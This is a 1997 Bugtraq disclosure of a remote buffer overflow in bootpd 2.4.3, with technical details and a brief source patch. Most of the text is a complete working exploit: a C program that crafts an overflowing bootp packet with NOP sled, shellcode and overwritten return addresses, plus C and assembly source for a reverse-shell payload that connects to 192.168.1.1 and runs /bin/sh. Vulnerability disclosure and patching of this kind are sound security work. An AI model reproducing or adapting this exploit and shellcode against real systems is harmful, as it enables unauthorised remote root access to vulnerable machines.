Exploitable buffer overflow in bootpd (most unices)
Date: Wed, 25 Jun 1997 00:08:06 +0200
From: Willem Pinckaers <W.H.J.Pinckaers@CPEDU.RUG.NL>
To: BUGTRAQ@NETSPACE.ORG
Subject: Exploitable buffer overflow in bootpd (most unices)
Introduction.
While browsing the bootpd source of version 2.4.3, shipped with most recent
unices, an overflow bug was found in the handling of the boot file/location
specified in a bootp request packet, and a second bug exists in the error
logging facility (which is only available when running with a debug level
bigger than 2).
This bug introduces a major security hole, including the possibility of
remote root access.
Vulnerable Systems.
All systems running bootpd 2.4.3.
All systems which are using a bootp daemon derived from the bootp daemon
originally released at Stanford University.
We don't know of any unix system that is NOT vulnerable to this problem.
Exploit code was tested against linux systems running debian 2.0 (glibc), and
debian 1.3, both running bootpd 2.4.3.
Technical Details.
The handling of client-side specified boot request data is not handled properly.
Specifically, the handling of bootfile specifications can be subject to buffer
overflows.
The bootp specification states a bootfile location as being 128 bytes at most,
but since the bootp protocol states a bootp packet can be sized at 3*512 bytes,
it's possible to specify a bootfile location of roughly 1500 bytes.
Since the buffer allocated for storing the bootfile is sized at 1024 bytes,
a sufficiently large bootfile location can overflow it.
Bootpd's derived of the bootpd version 1.1 released by Stanford did not
check sufficiently on the size of a specified bootfile location.
In this version of bootpd, shipped with irix 5.3, among many other unices,
a vulnerability of this kind exists.
The bootpd shipped with debian 1.3 and 2.0 distributions, and probably all other
linux distributions (bootpd 2.4.3) has some changes regarding this bug.
If no bootfile and boot directory are specified in /etc/bootptab, this
vulnerability still exists.
Impact.
Remote users can (in certain cases) run arbitrary programs uid root on a
machine running a vulnerable version of bootpd.
Machines running a version of bootpd derived from bootpd 1.1 (Stanford) , are
always vulnerable, machines running bootpd 2.4.3 are vulnerable under specific
conditions, specified below.
Fix information.
As the last stable bootpd source is vulnerable, no official fix information was
released at this time.
We release a quick and dirty fix, because there are several different bootpd
2.4.3 packages floating around. A universal patch is therefore not possible.
In file bootpd.c, add a line at the beginning of function handle_request():
bp->bp_file[127] = '\0';
In the file report.c, in the function report() , change the size of buf[] to
256.
Commentary.
The reason people have missed this bug, is probably the bootpd specification,
where the boot file location is specified as being 128 bytes at most.
By using a bootpath that overflows the buffer used for storing this location,
a malicious user can obviously get remote root access quite easily.
As bootp is used quite frequently in booting diskless clients, the impact of
this exploit can be quite big. Fix your bootpd's people :)
A copy of this message has been sent to the bootpd maintainers for 2.4.3 .
Exploit information.
This exploit only deals with bootpd version 2.4.3 . Writing exploit code
for the other platforms is left as an exercise to the reader.
The following exploit has been tested against debian 1.3 and 2.0.
Information needed to succesfully exploit the bug in bootpd under linux:
An ip address of a client, listed in the target's /etc/bootptab - for a client
for wich no homedirectory or no bootfile is specified.
Most of the time, this information is easily obtained.
Please keep in mind that the following exploit code is NOT to be used as a
tool to gain unauthorised access to systems, and is for educational purposes
only.
The exploit code sends a faked bootp packet to a host of your choice, containing
shellcode to do the following:
char *name[] = {"/bin/sh", NULL};
char *env[] = {NULL};
void main()
{
int sockfd;
struct sockaddr_in serv_addr;
int addrlen = sizeof(struct sockaddr_in);
sockfd = socket(AF_INET, SOCK_STREAM, 06);
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(1234);
serv_addr.sin_addr.s_addr = inet_addr("192.168.1.1");
connect(sockfd, (struct sockaddr *) &serv_addr, addrlen);
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve(name[0], name, env);
}
Effectively, this starts a shell to a remote host.
The exploit code included starts a shell to port 12345 of host 192.168.1.1 .
Changing the exploit code to point to other hosts and ports is considered a
simple job, so this is left as an exersize to the reader, and to defer script
kiddies.
Yours truly,
Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl)
Robert van der Meulen (Emphyrio@pitel-lnx.uvis.fnt.hvu.nl)
--------- CUT HERE ---------
/*
* Bootpd Exploit against debian linux 1.3 and 2.0 and possibly other
*
* (C) 1998 Willem Pinckaers W.H.J.Pinckaers@cpedu.rug.nl
*
*/
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "bootp.h"
char shellcode[] =
"\x31" "\xc9" "\x89" "\xc8" "\x04" "\x66" "\x41" "\x89" "\xca" "\x89" "\xcb"
"\xeb" "\x7f" "\x5f" "\x89" "\x4f" "\x08" "\x41" "\x89" "\x4f" "\x04" "\x80"
"\xc1" "\x04" "\x89" "\x4f" "\x0c" "\x8d" "\x4f" "\x04" "\xcd" "\x80" "\x89"
"\x07" "\x31" "\xc9" "\x80" "\xc1" "\x02" "\x66" "\x89" "\x4f" "\x0c" "\x66"
"\x89" "\x4f" "\x0e" "\x80" "\xc1" "\x0e" "\x66" "\x89" "\x4f" "\x08" "\x66"
"\xb9" "\x30" "\x39" "\x66" "\x89" "\x4f" "\x0e" "\x8d" "\x47" "\x0c" "\x89"
"\x47" "\x04" "\x31" "\xc9" "\xb1" "\x03" "\x89" "\xca" "\x89" "\xcb" "\x89"
"\xf9" "\x31" "\xc0" "\x04" "\x66" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\xc1"
"\x04" "\x3f" "\x89" "\xc2" "\x8b" "\x1f" "\xcd" "\x80" "\x89" "\xd0" "\x41"
"\xcd" "\x80" "\x89" "\xd0" "\x41" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\x47"
"\x10" "\x88" "\x47" "\x1b" "\x8d" "\x47" "\x14" "\x89" "\x47" "\x0c" "\x31"
"\xc0" "\x04" "\x0b" "\x8d" "\x5f" "\x14" "\x8d" "\x4f" "\x0c" "\x8d" "\x57"
"\x10" "\xcd" "\x80" "\x31" "\xc0" "\x40" "\xcd" "\x80" "\xe8" "\x7c" "\xff"
"\xff" "\xff" "\x2e" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41"
"\x41" "\x41" "\x41" "\x41" "\x41" "\x39" "\x30" "\xc0" "\xa8" "\x01" "\x01"
"\x2f" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00";
#define SERVER_PORT 67
char client_addr[16] = "127.000.000.001";
char host_addr[16] = "127.000.000.001";
int realpath_adjust = 0;
int exploit_length = 1200;
struct sockaddr_in server_addr;
void sendpacket(int, struct bootp *);
void build_packet(struct bootp *, int, char**);
void get_args(int, char**);
void usage(void);
int main(int argc, char *argv[])
{
struct bootp* bp;
int s;
get_args(argc, argv);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(SERVER_PORT);
server_addr.sin_addr.s_addr = inet_addr(host_addr);
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
fprintf(stderr, "cannot create socket\n");
exit(1);
}
if ((bp = (struct bootp*) malloc(MAX_MSG_SIZE + 1000)) == NULL) {
(void) fprintf(stderr, "Cannot malloc.\n");
exit(1);
};
(void) memset(bp, 0, MAX_MSG_SIZE + 1000); /* ai exploit isn't secure */
build_packet(bp, argc, argv);
sendpacket(s, bp);
}
void sendpacket(int s, struct bootp *bp)
{
if (sendto(s, (const void *) bp, MAX_MSG_SIZE, 0,
(const struct sockaddr *) &server_addr,
sizeof(struct sockaddr_in)) == -1) {
fprintf(stderr, "sendpacket: sendto returned -1 ;(\n");
exit(1);
}
}
void build_packet(struct bootp *bp, int argc, char *argv[])
{
unsigned long start_realpath = 0xbffff684 + realpath_adjust;
unsigned long addr_ret_addr = start_realpath + 8 + 0x488;
unsigned long temp_addr, temp_addr2 = 0;
int length_tftpdir = 1; // no ftpdir just a slash at the start..
int num_nops = 600;
char *p;
unsigned long *q;
int i;
bp->bp_op = BOOTREQUEST;
bp->bp_xid = 58524;
bp->bp_htype = HTYPE_ETHERNET;
bp->bp_hlen = 6;
bp->bp_ciaddr.s_addr = inet_addr(client_addr);
printf("Using: client: %s\n", client_addr);
printf("Using: server: %s\n", host_addr);
printf("Addr of realpath: %x\n", start_realpath);
p = bp->bp_file;
/* Putting in nops */
for (i = 0; i < num_nops; i++)
*p++ = 0x90;
printf("Added: %d nops\n", num_nops);
/* Putting in shellcode */
for(i = 0; i < strlen(shellcode); i++)
*p++ = shellcode[i];
printf("%d bytes of shellcode added.\n", strlen(shellcode));
/* Aligning to make sure the ret_addr is placed correctly */
temp_addr = p - bp->bp_file + length_tftpdir + start_realpath;
for(i = 0; i < (addr_ret_addr - temp_addr) % 4; i++)
*p++ = 'a';
printf("%d bytes of alignment added.\n", (addr_ret_addr - temp_addr) %4);
/* set return adress.. hopefully in exploit code.... */
temp_addr2 = start_realpath + length_tftpdir + (num_nops / 2);
if (!(temp_addr2 & 0xff)) temp_addr2++;
printf("Setting return addr to: %x \n", temp_addr2);
q = (unsigned long *) p;
do {
*q++ = temp_addr2;
p = (char *) q;
} while ((p - bp->bp_file) < exploit_length);
*p++ = '\0';
printf("Exploit length: %d", strlen(bp->bp_file));
}
void get_args(int argc, char *argv[])
{
int ch;
while ((ch = getopt(argc, argv, "c:s:a:e:")) != EOF) {
switch(ch) {
case 'c':
strcpy(client_addr, optarg);
break;
case 's':
strcpy(host_addr, optarg);
break;
case 'a':
realpath_adjust = atoi(optarg);
break;
case 'e':
exploit_length = atoi(optarg);
break;
default:
usage();
}
}
}
void usage(void)
{
printf("bootpd exploit against debian linux 1.3 and 2.0 (probably others)\n");
printf("\nBy Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl) 1998\n");
printf("\nUsage:\n\tbootpd: -c client_addr -s server_addr -a offset\n");
exit(1);
}
--------- CUT HERE ---------
--------- CUT HERE ---------
/*
* Exploit code, casts a shell to a remote host
* (C) 1998 Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl
*/
void main()
{
__asm__("
xorl %ecx, %ecx
movl %ecx, %eax
addb $0x66, %al
incl %ecx
movl %ecx, %edx
movl %ecx, %ebx
jmp endc0de
realstart:
popl %edi
movl %ecx,0x08(%edi)
incl %ecx
movl %ecx,0x04(%edi)
addb $04,%cl
movl %ecx,0x0c(%edi)
leal 04(%edi), %ecx
int $0x80
movl %eax, (%edi)
xorl %ecx, %ecx
addb $02, %cl
movw %cx, 0xc(%edi)
movw %cx, 0xe(%edi)
addb $0x0e, %cl
movw %cx, 0x8(%edi)
movw $0x3930, %cx
movw %cx, 0xe(%edi)
leal 0x0c(%edi), %eax
movl %eax, 0x04(%edi)
xorl %ecx, %ecx
movb $03, %cl
movl %ecx, %edx
movl %ecx, %ebx
movl %edi, %ecx
xorl %eax, %eax
addb $0x66, %al
int $0x080 // connect
xorl %eax,%eax
movl %eax, %ecx
addb $0x3f, %al
movl %eax, %edx
movl (%edi), %ebx
int $0x80 // dup2
movl %edx, %eax
incl %ecx
int $0x80 // dup2
movl %edx, %eax
incl %ecx
int $0x80 // dup2
xorl %eax, %eax
movl %eax, 0x10(%edi) // pointer = NULL
movb %al, 0x1b(%edi) // terminate /bin/sh
leal 0x14(%edi), %eax // start van /bin/sh
movl %eax, 0x0c(%edi)
xorl %eax, %eax
addb $0x0b, %al
leal 0x14(%edi), %ebx
leal 0x0c(%edi), %ecx
leal 0x10(%edi), %edx
int $0x80 // execve
xorl %eax,%eax
incl %eax
int $0x80
endc0de:
call realstart
sockfd:
.byte 0x2e, 'A', 'A', 'A'
.byte 'A', 'A', 'A', 'A'
.byte 'A', 'A', 'A', 'A'
sockaddr:
.byte 'A', 'A' // must contain 02
.byte 0x39, 0x30 // must contain port nr
.byte 192, 168, 01, 01 // must contain ip
.string \"/bin/sh\"");
}
--------- CUT HERE ---------
--
"They that would give up essential liberty to obtain
a little temporary safety deserve neither liberty nor safety."
- Benjamin Franklin, 1759